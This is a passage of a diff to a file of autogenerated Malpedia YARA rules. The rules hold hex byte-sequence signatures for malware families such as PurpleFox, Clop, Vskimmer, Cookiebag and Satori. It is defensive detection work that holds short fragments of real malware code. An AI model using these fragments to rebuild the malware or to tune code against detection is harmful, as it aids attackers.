"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplefox_auto.yar#L1-L381" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remexi_auto.yar#L1-L285" license_url = "N/A" - logic_hash = "19db2fd8d55e9f90545cae61363b7c1883764c9fb7fb14f78b3fa3d087d84046" + logic_hash = "9706deaac2e1169c2e84699b44e0890d8108f6f9e0cb051afcf90fb12b3b28d6" score = 75 quality = 73 tags = "FILE" @@ -138656,64 +138369,55 @@ rule MALPEDIA_Win_Purplefox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b15???????? 53 8a1d???????? 6a01 8906 } - $sequence_1 = { 8945f4 3bc7 740d 8b7308 } - $sequence_2 = { c1fa05 c1e006 030495000c4100 eb05 b8???????? f6400420 } - $sequence_3 = { 85c0 7912 488b8d90010000 ff15???????? e9???????? 488b8d98010000 4533c9 } - $sequence_4 = { 8bcf e8???????? e9???????? 488d0df6200000 ff15???????? 488b3b } - $sequence_5 = { 6800000010 8d45f8 bf40020000 50 c745c018000000 895dc4 } - $sequence_6 = { 488d4e1c 33d2 41b801010000 e8???????? 4c8d546d00 4c8d1db0920000 49c1e204 } - $sequence_7 = { 66b8f230 8b4500 f9 f9 e9???????? } - $sequence_8 = { ff15???????? 488d542440 488d0dca110000 4c8bc6 ff15???????? 488d4c2440 41b001 } - $sequence_9 = { 57 4883ec60 48c7442440feffffff 48899c2488000000 } - $sequence_10 = { 8b7de8 56 8d8dacfbffff 51 8d55b0 52 } - $sequence_11 = { 8da42400000000 8038ff 750b 80780175 7505 385802 7409 } - $sequence_12 = { c9 49 3658 8a3f 3658 7642 } - $sequence_13 = { 4889442430 488b05???????? c644242800 488b08 ba00020000 48894c2420 } - $sequence_14 = { ff15???????? 8bf0 85f6 7914 56 68???????? ffd3 } - $sequence_15 = { ebcf 8bc6 c1f805 8b0485000c4100 83e61f c1e606 8d443004 } - $sequence_16 = { 35fd937dd3 43 d0f2 2f 4a 87cd } - $sequence_17 = { 448bc6 442bc0 488b442450 488d0d4b7e0000 488b0cc1 } - $sequence_18 = { 56 12581a 887ea4 3d0b3a08c2 } - $sequence_19 = { 83c408 6a00 51 ff15???????? 8bf0 } - $sequence_20 = { 51 e8???????? 83c404 8b5704 68???????? } - $sequence_21 = { 81e900202200 be100000c0 0f84ec020000 83e904 0f8486010000 83e904 } - $sequence_22 = { 3918 0f4c18 3bcb 0f8d87000000 488d3dd7b70000 ba58000000 488bcd } - $sequence_23 = { 9c 60 c64424043e f5 } - $sequence_24 = { 488b4c2470 ff15???????? 488b8d08040000 ff15???????? } - $sequence_25 = { 57 56 6a0b ffd3 3d040000c0 750d } - $sequence_26 = { 85c0 790a 8b4df8 ffd3 e9???????? } - $sequence_27 = { 58 773d 33f9 13c9 } - $sequence_28 = { e8???????? 33ff 33c0 8945f4 8945f0 8945f8 8b450c } - $sequence_29 = { c740e40d000000 8b55f8 8950e8 8b4660 } - $sequence_30 = { 488d4c2420 33d2 4889442420 8b05???????? } - $sequence_31 = { 4883f83c 7647 498bcd e8???????? 4c8d05436c0000 41b903000000 488d4c45bc } - $sequence_32 = { 488b4b08 ff15???????? c70300000000 4883c420 5b c3 } - $sequence_33 = { 4883c202 668941fe 6685c0 75ec 488b7e08 4883c9ff 33c0 } - $sequence_34 = { 4883ec20 488bd9 e8???????? 4c8d1d17a10000 } - $sequence_35 = { ff15???????? 4839442470 0f85b3000000 488d542460 488bce ff15???????? 85c0 } - $sequence_36 = { e9???????? 660fb6d1 f9 8b5504 c0c107 d2e9 } - $sequence_37 = { 57 f361 634cea1c bc2cedefeb 59 fb 7fab } - $sequence_38 = { 7506 50 e9???????? 8b55ec } - $sequence_39 = { 56 68???????? ff15???????? 83c408 8bc6 5e 8be5 } + $sequence_0 = { 56 c706ffffffff e8???????? 83c404 } + $sequence_1 = { 890d???????? 68???????? 41 50 a3???????? c705????????02000000 890d???????? } + $sequence_2 = { 68???????? 50 ff15???????? 8b0d???????? 8b35???????? 890d???????? 68???????? } + $sequence_3 = { 6a10 8d4ddc 8bf0 51 } + $sequence_4 = { 6a00 6a02 c785ccfeffff28010000 ff15???????? } + $sequence_5 = { 5f c3 56 ff15???????? 57 8b3d???????? } + $sequence_6 = { 8945e4 8945e8 b802000000 51 } + $sequence_7 = { 56 6824000100 50 57 ff15???????? } + $sequence_8 = { a3???????? c705????????02000000 890d???????? ffd6 6a00 6a00 6a00 } + $sequence_9 = { 6828010000 8d8dccfeffff 6a00 51 } + $sequence_10 = { 50 6a02 ff15???????? 6a10 8d4ddc } + $sequence_11 = { 7513 8b45d8 8b4818 8b5104 } + $sequence_12 = { 89470c 57 894710 ff15???????? 6a00 6a00 6a01 } + $sequence_13 = { c705????????ffffffff c705????????01000000 c705????????00000000 ffd6 83ffff } + $sequence_14 = { 52 6a00 68ffff1f00 ffd7 8bf0 } + $sequence_15 = { 015518 8b5d14 85db 0f8565fbffff } + $sequence_16 = { 488d542450 488d4c2420 e8???????? 488d442420 4889442440 488d542420 } + $sequence_17 = { 015330 41 894b0c e9???????? } + $sequence_18 = { 488bc3 c60000 44897320 41b901000000 488d1529f30100 488bcf } + $sequence_19 = { 016b24 89e8 83c44c 5b } + $sequence_20 = { 4898 4885c0 7515 4883fb06 7305 } + $sequence_21 = { 015930 3b542408 0f8d10ffffff 8d3c52 } + $sequence_22 = { 488bcf e8???????? 4885db 0f8428010000 48837f1810 7227 } + $sequence_23 = { 7468 48c74424380f000000 48897c2430 c644242000 4983c9ff } + $sequence_24 = { 015330 e9???????? 8b5314 3b5318 0f8d23020000 } + $sequence_25 = { 014b30 bf???????? b903000000 8b742418 } + $sequence_26 = { e8???????? 48837f1810 48895f10 7205 488b07 eb03 } + $sequence_27 = { c3 4053 4883ec20 488d0d73340100 ff15???????? 488d1586340100 } + $sequence_28 = { 015330 8a10 eb84 8a5001 } + $sequence_29 = { 016b04 83c41c 5b 5e } + $sequence_30 = { 0f8540010000 488d1583310100 488bcb e8???????? 4c8bf0 4885c0 0f8421010000 } condition: - 7 of them and filesize < 1983488 + 7 of them and filesize < 614400 } -rule MALPEDIA_Win_Jaff_Auto : FILE +rule MALPEDIA_Win_Jaku_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e0c41ef8-0a92-555f-b34f-5db2f4589c45" + id = "5711a497-d28d-5b3a-91bd-62abf5157c12" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaff_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaku_auto.yar#L1-L277" license_url = "N/A" - logic_hash = "6a4dc9720f78e5a6e283d3b622047ad1fb4dc38cefeb255d404c0bdb257eb37c" + logic_hash = "bc36249d8d7142a776a25d525229620582afb8014b8d26d03d6dad8843321c84" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -138725,32 +138429,51 @@ rule MALPEDIA_Win_Jaff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 395604 760b 8b36 0fb73456 8975f4 } - $sequence_1 = { 8b55c8 33c0 8bca 85d2 7419 8b75c4 66833c4600 } - $sequence_2 = { 8b4de0 8b3d???????? 51 6a00 ffd7 50 } - $sequence_3 = { 668b144a 66891448 41 3b4e04 72f0 8b4e04 } - $sequence_4 = { ffd7 50 ffd3 8b7d0c 8b4f04 } - $sequence_5 = { 50 6a00 ffd7 50 ff15???????? 5f 8bc6 } - $sequence_6 = { 56 8945f8 ffd3 8945fc 83f808 7705 } - $sequence_7 = { 41 3b4df8 76a8 8b4d08 80790c00 740d 8b5510 } - $sequence_8 = { 8b4ddc 8b3d???????? 51 6a00 ffd7 50 ffd3 } - $sequence_9 = { 0fb70448 eb02 33c0 0fbff0 2b45f4 0fbffa 03f7 } + $sequence_0 = { 3945f8 0f94c0 eb02 32c0 } + $sequence_1 = { 8bcf 83e107 d3eb 2bf9 895df4 83ff20 } + $sequence_2 = { b83c800000 e8???????? 53 56 57 6a38 8d45c4 } + $sequence_3 = { 33db 894618 895df4 c70601000000 e9???????? 8b4620 } + $sequence_4 = { 83c204 8bfa d3e7 8b4e14 6609beb8160000 } + $sequence_5 = { 7573 8bc3 83e00f 3c08 0f85a6000000 8b4624 83ef04 } + $sequence_6 = { 880c07 8b02 8a4df8 884c0701 8b0a 8bc6 2bc1 } + $sequence_7 = { 2bf8 83c410 85ff 7fd7 5b 56 } + $sequence_8 = { 68???????? ff15???????? c3 b8???????? e8???????? 83ec2c } + $sequence_9 = { ff742408 e8???????? c20800 8bc1 } + $sequence_10 = { 53 68000000a0 6a03 53 } + $sequence_11 = { 7507 b800308000 eb02 33c0 } + $sequence_12 = { 7508 83c8ff e9???????? 8b839f830000 } + $sequence_13 = { 6a01 03c3 68???????? 50 e8???????? 83c40c } + $sequence_14 = { 5b c3 55 8bec 833d????????00 53 56 } + $sequence_15 = { 55 56 57 6880020000 } + $sequence_16 = { 75dd 57 e8???????? 59 } + $sequence_17 = { 0245fd 3245fe 8a4dff d2c8 } + $sequence_18 = { 50 e8???????? 59 8b4e2c } + $sequence_19 = { 85ff 897c240c 750c 5f 5e b801000000 5b } + $sequence_20 = { 56 e8???????? 59 8b4620 } + $sequence_21 = { e8???????? 59 eb57 53 } + $sequence_22 = { 016c242c 8b44242c 5f 5e 5d } + $sequence_23 = { 50 894528 e8???????? 83c410 8b3d???????? 53 } + $sequence_24 = { 53 53 53 6aff ff7528 bee9fd0000 } + $sequence_25 = { 56 57 8965f0 33ff 897dfc c645fc01 837d1c10 } + $sequence_26 = { 8bbe9b830000 33db 8d4f01 43 } + $sequence_27 = { 6a00 8b9580faffff 837a3000 750b 8b8db4f9ffff 83c904 eb06 } + $sequence_28 = { 6a00 53 56 e8???????? 83c41c 8b55f8 8345f8ff } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 2220032 } -rule MALPEDIA_Win_Sidewalk_Auto : FILE +rule MALPEDIA_Win_Cookiebag_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "39c1c961-da91-5a25-8ecb-047f3c9eb164" + id = "a1b2ec8f-a75e-5a6d-8c41-80da5c8e831c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewalk_auto.yar#L1-L149" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cookiebag_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "8deb72ecccbb130aa5e8724fff6a194c33523f3296434270b03ff0933ff78416" + logic_hash = "2cb20734fcd81a355448bc2557be61a5fdc54ceb6b9b3a4d3d93ee10aa49b59c" score = 75 quality = 75 tags = "FILE" @@ -138764,38 +138487,34 @@ rule MALPEDIA_Win_Sidewalk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41c1c610 4503e6 4403cb 4533d1 4403ee 41c1c210 418bc3 } - $sequence_1 = { c1c010 4403d8 4133db c1c30c } - $sequence_2 = { ff15???????? 4885c0 750e 488bcf ff15???????? } - $sequence_3 = { 33f0 418bc1 4133c6 c1c608 c1c010 4403de 4403e8 } - $sequence_4 = { 4433f2 c1c710 4403df 41c1c610 4503e6 4403cb } - $sequence_5 = { c1e810 880a c1e918 884202 884a03 4183f810 } - $sequence_6 = { 48ffc1 488d040a 483bc6 7ce2 } - $sequence_7 = { 4133db c1c30c 03d3 8bf2 } - $sequence_8 = { 4133db 418bcd c1c307 4133c8 } - $sequence_9 = { 418b09 418bc0 c1e002 4d8d4904 4863d0 } - $sequence_10 = { 8a040f 3201 41880408 48ffc1 488d040a } - $sequence_11 = { c1e108 0bc8 0fb642fe c1e108 0bc8 41890c10 488d5204 } - $sequence_12 = { 488b05???????? 83780c00 7405 e8???????? 488b0d???????? } - $sequence_13 = { 89750b 4489750f 44897d03 448965ff } + $sequence_0 = { e8???????? bf???????? 83c9ff 33c0 c644247403 f2ae f7d1 } + $sequence_1 = { 83e00f eb02 33c0 0fbe84c1a0e24100 c1f804 83f807 } + $sequence_2 = { 2bc2 83f801 8a5cbc2c 7705 } + $sequence_3 = { 896c2458 896c245c 741d 8d48ff 8a40ff 84c0 740a } + $sequence_4 = { e9???????? 49 51 e8???????? 83c404 e9???????? 8a8c2484000000 } + $sequence_5 = { 47 83f80b 0f8777020000 ff248509c44100 80fb31 7c0c } + $sequence_6 = { e8???????? 8b4c242c 8b442428 45 83c710 e9???????? 50 } + $sequence_7 = { 8bd8 8dbe98000000 6a01 53 8bcf e8???????? 84c0 } + $sequence_8 = { 8bf8 8d9e04010000 6a01 57 8bcb e8???????? 84c0 } + $sequence_9 = { 889c24b8000000 e8???????? 8d44242c 8d4c241c 50 8d542460 51 } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 311296 } -rule MALPEDIA_Win_Badcall_Auto : FILE +rule MALPEDIA_Win_Hardrain_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "233fe049-459f-50da-b51f-73303606a185" + id = "25398ca8-a4b7-5603-875f-04e6efbaac2b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badcall_auto.yar#L1-L239" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hardrain_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "cbbb68fc4f4ef6dd9bf8f48d22c329386c6109c255e88f35209d20a078bb6b07" + logic_hash = "bee47eae17e07c9e5633e3c8b1ddd3c37741eaa6fac55010942faf387fc2a537" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -138807,46 +138526,32 @@ rule MALPEDIA_Win_Badcall_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? b907000000 33c0 8d7c240d } - $sequence_1 = { 85c0 754b bf???????? 83c9ff f2ae f7d1 49 } - $sequence_2 = { c644240c00 f3ab 66ab 8d4c242c c744240800000000 aa } - $sequence_3 = { 8bf1 89742404 8d4e18 e8???????? } - $sequence_4 = { 53 57 33db b97f000000 33c0 8dbc2415010000 } - $sequence_5 = { 89442412 8bf1 6685ff 66c74424080000 6689442416 746d 6a06 } - $sequence_6 = { e8???????? 85c0 7429 8b5604 8d4c240c 51 687e660480 } - $sequence_7 = { 56 89442406 57 8b7c241c 8944240e } - $sequence_8 = { 8b44242c 85c0 0f848a020000 33c9 48 } - $sequence_9 = { 8b742410 8d0c12 57 8bd9 33c0 8bfe 52 } - $sequence_10 = { 8b4c2410 85c9 0f849f080000 8bd1 8bcd } - $sequence_11 = { c1e902 f3a5 8bc8 8b442468 83e103 } - $sequence_12 = { 5f 898834010000 5e 33c0 } - $sequence_13 = { 750f 8b4614 85c0 0f87c2feffff 8b442414 8b442410 5f } - $sequence_14 = { 899014020000 8b94241c010000 898818020000 8b8c2420010000 89901c020000 } - $sequence_15 = { 899518010000 8b542414 85d2 7409 52 } - $sequence_16 = { 3bd1 7d06 ebda 3bd1 } - $sequence_17 = { 81ec2c010000 55 68???????? ff15???????? } - $sequence_18 = { e8???????? 8b442464 6a01 8d4c242c 6a04 51 57 } - $sequence_19 = { 5e 85c0 7406 33c0 83c454 c3 } - $sequence_20 = { 8bb6a48b0110 eb06 8bb6d88b0110 3bce 7e20 83e907 } - $sequence_21 = { 83c40c e9???????? 6a00 6883341200 57 c744242401000000 } - $sequence_22 = { 8d7c240d c644240c00 f3ab 8b35???????? 68???????? } - $sequence_23 = { 6a00 688f341200 56 e8???????? 83c40c 57 } + $sequence_0 = { 83ec0c 8b4c2414 8b442410 56 57 8b7904 8b7004 } + $sequence_1 = { 5e 81c418010000 c20400 83ec0c } + $sequence_2 = { 83ec10 56 57 8b7c241c 6685ff } + $sequence_3 = { 52 e8???????? 33c0 b910000000 89442448 } + $sequence_4 = { 5e 83c418 c3 33c9 33c0 8b542424 894c2410 } + $sequence_5 = { c3 68ffffff7f 56 ff15???????? 85c0 } + $sequence_6 = { 32d0 88143e 46 3bf3 7cea 5f 8d4c2408 } + $sequence_7 = { 52 8bce e8???????? 85c0 7413 6a16 8d44241c } + $sequence_8 = { e8???????? 50 8bce e8???????? 85c0 0f84da000000 } + $sequence_9 = { 5d b801000000 5b 59 c20400 8b4c2410 895910 } condition: - 7 of them and filesize < 483328 + 7 of them and filesize < 368640 } -rule MALPEDIA_Elf_Satori_Auto : FILE +rule MALPEDIA_Win_Rumish_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2284f03a-322c-58c3-b1d9-fcae207127e0" + id = "db5cf6b1-45f1-5e05-a042-af28c9de660a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.satori_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rumish_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "62c626f34e857ae6d027e483d640bb517fea648ca7b95f5f7c3238608cc58884" + logic_hash = "356c30a3a32f94fe03326f490efe36bc56d49a42cedcdbc6774c882ef857a8dc" score = 75 quality = 75 tags = "FILE" @@ -138860,32 +138565,32 @@ rule MALPEDIA_Elf_Satori_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75f0 83ec0c ebcd 8d65f8 5b 5e } - $sequence_1 = { c7411849260508 eb28 83f83e 7509 c7411851260508 eb1a 83f82a } - $sequence_2 = { 50 e8???????? 83c410 eb22 50 55 } - $sequence_3 = { 894304 e8???????? a1???????? 66897308 c7430c00000000 c6430aff 89580c } - $sequence_4 = { 0fb7c0 894704 8b441108 66c1c808 } - $sequence_5 = { e9???????? 0fbe19 b800000080 41 c744240801000000 eb12 } - $sequence_6 = { e8???????? 89e8 c7851c040000ffffffff e8???????? 83c410 e9???????? } - $sequence_7 = { 80cc08 50 6a04 ff35???????? e8???????? 8d842468090000 } - $sequence_8 = { 41 eb9b 85ed 790f } - $sequence_9 = { 83c410 807b021f 742c 8d143b 8a02 3cfd 7404 } + $sequence_0 = { 8908 8b4a04 894804 8b5208 895008 ebd7 5d } + $sequence_1 = { c7854cffffff00000000 53 51 52 33c0 0fa2 } + $sequence_2 = { 8b55e4 83ea01 3955a4 7d54 8b45a4 } + $sequence_3 = { e8???????? 89851cfdffff db851cfdffff dc0d???????? dc35???????? dc05???????? } + $sequence_4 = { 0f87c5000000 8b9524fbffff ff2495c0214100 68???????? 8d8dc0fbffff e8???????? } + $sequence_5 = { db8590f6ffff d9e8 dec9 d99d8cf6ffff d9858cf6ffff 51 d91c24 } + $sequence_6 = { c745fcffffffff 8d4dc0 e8???????? 8b852cfdffff e9???????? e8???????? 898508fdffff } + $sequence_7 = { ff15???????? 8b95a0fdffff 89956cfdffff c785b0fdffff00000000 c78544fdffff00000000 eb0f 8b8544fdffff } + $sequence_8 = { d99d54ffffff d98554ffffff 51 d91c24 e8???????? 83c404 dc1d???????? } + $sequence_9 = { 894de4 8b45e4 c700???????? 8b4de4 c7410400000000 8b55e4 c7420800000000 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 770048 } -rule MALPEDIA_Win_Gamotrol_Auto : FILE +rule MALPEDIA_Win_Vskimmer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2b2204da-4f22-547c-9de3-80e2483d6d42" + id = "d60a06ab-73b2-5007-b9fd-d7fdf53f6d46" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gamotrol_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vskimmer_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "0a158c049548339723eb169f446010e4bcdbd33e0805ca045362a8d262920ab1" + logic_hash = "fbde08601554269a17787c3ffa7dabc4bf8a82c0fe588e8a82f4a23b193dab38" score = 75 quality = 75 tags = "FILE" @@ -138899,32 +138604,32 @@ rule MALPEDIA_Win_Gamotrol_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 90 55 90 } - $sequence_1 = { eb82 55 8bec 83ec20 56 33f6 39750c } - $sequence_2 = { 83c40b 83ec0b 68b4c2ffff 83c410 83c4f0 6aff 68???????? } - $sequence_3 = { c1c804 8945fc 61 8b45f4 } - $sequence_4 = { 83ec0b 83c40f 83c4f1 83c45b 83ec5b 90 90 } - $sequence_5 = { cc 8b442404 a3???????? c3 8b442404 a3???????? a3???????? } - $sequence_6 = { 5d 85c0 7709 33c0 5f 5e } - $sequence_7 = { 8945e4 90 90 55 8bec } - $sequence_8 = { 81ec00020000 8d6c24fc a1???????? 33c5 898500020000 6a0c b8???????? } - $sequence_9 = { 6aff 6a00 68???????? 6a00 ff15???????? } + $sequence_0 = { 0fb74624 6685c0 7413 50 ff75fc 8d8f2c020000 } + $sequence_1 = { 8d8dd4f7ffff e8???????? 83bdccf7ffff10 8b85b8f7ffff c645fc11 7306 } + $sequence_2 = { 7629 8d7e04 ff75e8 ff37 ff15???????? 85c0 } + $sequence_3 = { c645fc0a ff15???????? 3bc7 0f8eeb030000 bb???????? be???????? 8d85f0f7ffff } + $sequence_4 = { 8b8324020000 8bc8 81e101010000 83f901 0f84e1020000 } + $sequence_5 = { 3b8314020000 0f84cc010000 56 8bcb } + $sequence_6 = { e8???????? 83c418 8d85b4feffff 50 8d8d88f6ffff } + $sequence_7 = { 8d85ecfeffff 68???????? 50 e8???????? ffb5c4f8ffff 8d85ecfeffff } + $sequence_8 = { 33c0 8945f0 394510 7417 c706???????? c74610c4d54100 } + $sequence_9 = { 59 c3 8bff 55 8bec 51 f6430c40 } condition: 7 of them and filesize < 376832 } -rule MALPEDIA_Win_Protonbot_Auto : FILE +rule MALPEDIA_Win_Goggles_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2a60cbb5-df76-51a1-aa18-1e35bc0d84b0" + id = "040bb693-a4be-548d-a501-6f2900be4db7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.protonbot_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goggles_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "dd56b01eb6c4f05df12eaa91d84ffe14ac197bb00fbf288295bd9f5385f33352" + logic_hash = "2057c3d81d740df16e7462115b1eb3ac99d3eec33754199313bf18b2c821d705" score = 75 quality = 75 tags = "FILE" @@ -138938,32 +138643,32 @@ rule MALPEDIA_Win_Protonbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? ffb5f4feffff ff15???????? 8d8dfcfeffff } - $sequence_1 = { ffd3 85ff 8bbdf4fffeff 7f8d 5e } - $sequence_2 = { 51 52 8d8da4feffff e8???????? 6a00 6aff 6a00 } - $sequence_3 = { 83bda0feffff10 8d8d8cfeffff 56 0f438d8cfeffff 6a00 51 6a00 } - $sequence_4 = { 6a00 8b18 899df8fffeff e8???????? 83c410 } - $sequence_5 = { ff7508 e8???????? 83c410 5d c3 6a1c b8???????? } - $sequence_6 = { 57 50 8d45f4 64a300000000 8d8dbcfeffff e8???????? } - $sequence_7 = { 837e1410 8955a0 8bc6 7202 8b06 8d1438 8b45a0 } - $sequence_8 = { e8???????? 83c418 c645fc01 8d85bcfeffff } - $sequence_9 = { ff15???????? 56 85c0 7404 ffd7 eb02 ffd3 } + $sequence_0 = { 6a00 8d842488010000 6a00 50 ff15???????? } + $sequence_1 = { 52 68???????? ff15???????? 8a542b01 } + $sequence_2 = { 68???????? e8???????? 83c410 c680a841001000 8d842410010000 } + $sequence_3 = { 8a8010400010 88441efe 8a4c2fff 83e13f 4a 8a8110400010 88441eff } + $sequence_4 = { 0f8559ffffff 8b442414 83f803 756e 0fbe0437 } + $sequence_5 = { 33f6 894c240c 85c9 7e6f 8b4c2418 8bc2 2bc1 } + $sequence_6 = { 0fbe043e 50 68???????? ff15???????? b9???????? 2ac1 c0e002 } + $sequence_7 = { 55 57 88442410 b940000000 33c0 8d7c2411 } + $sequence_8 = { 8a4c2ffe c1f806 83e10f 83e003 c1e102 0bc1 8a8010400010 } + $sequence_9 = { 0fbe8288410010 50 68???????? ff15???????? } condition: - 7 of them and filesize < 1073152 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Mgbot_Auto : FILE +rule MALPEDIA_Win_Clop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dd03dc94-bb3a-5cad-8f13-4bbe4b7f90a6" + id = "4854a8b5-e52e-5b4e-a6a6-3c1168d9d798" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mgbot_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clop_auto.yar#L1-L181" license_url = "N/A" - logic_hash = "7310ce51cc81391fc78e9881bf8f490b2a783d4789728f7661df3e6bdca512d7" + logic_hash = "65d38e339958842c1ae82c8f06911cc6fa67bb1b5d7a3308dc697dc71c286d31" score = 75 quality = 75 tags = "FILE" @@ -138977,32 +138682,39 @@ rule MALPEDIA_Win_Mgbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8be5 5d c20800 6808020000 e8???????? } - $sequence_1 = { 6808020000 e8???????? 6804010000 8bf0 } - $sequence_2 = { 5d c20800 6808020000 e8???????? } - $sequence_3 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 e8???????? } - $sequence_4 = { 5b 8be5 5d c20800 6808020000 } - $sequence_5 = { 6808020000 e8???????? 6804010000 8bf0 6a00 } - $sequence_6 = { 0f8553ffffff 5f 33c0 5e } - $sequence_7 = { 8be5 5d c20800 6808020000 } - $sequence_8 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 } - $sequence_9 = { 5b 8be5 5d c20800 6808020000 e8???????? } + $sequence_0 = { 6a04 6800300000 6887000000 6a00 } + $sequence_1 = { 83c40c 6860070000 6a40 ff15???????? } + $sequence_2 = { 57 6a00 ff15???????? 68???????? 8bd8 } + $sequence_3 = { ff15???????? 8bf0 56 53 ff15???????? 50 ff15???????? } + $sequence_4 = { 50 ff15???????? 56 53 8bf8 } + $sequence_5 = { 53 8bf8 ff15???????? 8bf0 56 6a40 } + $sequence_6 = { 668b0424 6683e07f 6683f87f 8d642408 0f85fd0b0000 eb00 f30f7e442404 } + $sequence_7 = { 50 ff15???????? 83c40c 6860070000 } + $sequence_8 = { 03d1 0fb6ca 8b55fc 0fb60c01 300c17 47 8a550b } + $sequence_9 = { 8ab800010000 8a9001010000 57 33ff 8975f8 85f6 744e } + $sequence_10 = { 744e fec7 0fb6f7 8a1c06 02d3 88550b 0fb6d2 } + $sequence_11 = { 47 8a550b 3b7df8 72c7 5f 8aca 88b800010000 } + $sequence_12 = { ffd0 c3 8bff 55 8bec 83ec1c 8d4de4 } + $sequence_13 = { 8d85bcefffff 50 ff15???????? 68???????? } + $sequence_14 = { 68???????? 68???????? e8???????? 83c424 6aff } + $sequence_15 = { ff15???????? 68???????? 8d85dcf7ffff 50 } + $sequence_16 = { 6a00 e8???????? 83c408 6aff ff15???????? 33c0 } condition: - 7 of them and filesize < 1677312 + 7 of them and filesize < 796672 } -rule MALPEDIA_Win_Lightlesscan_Auto : FILE +rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - 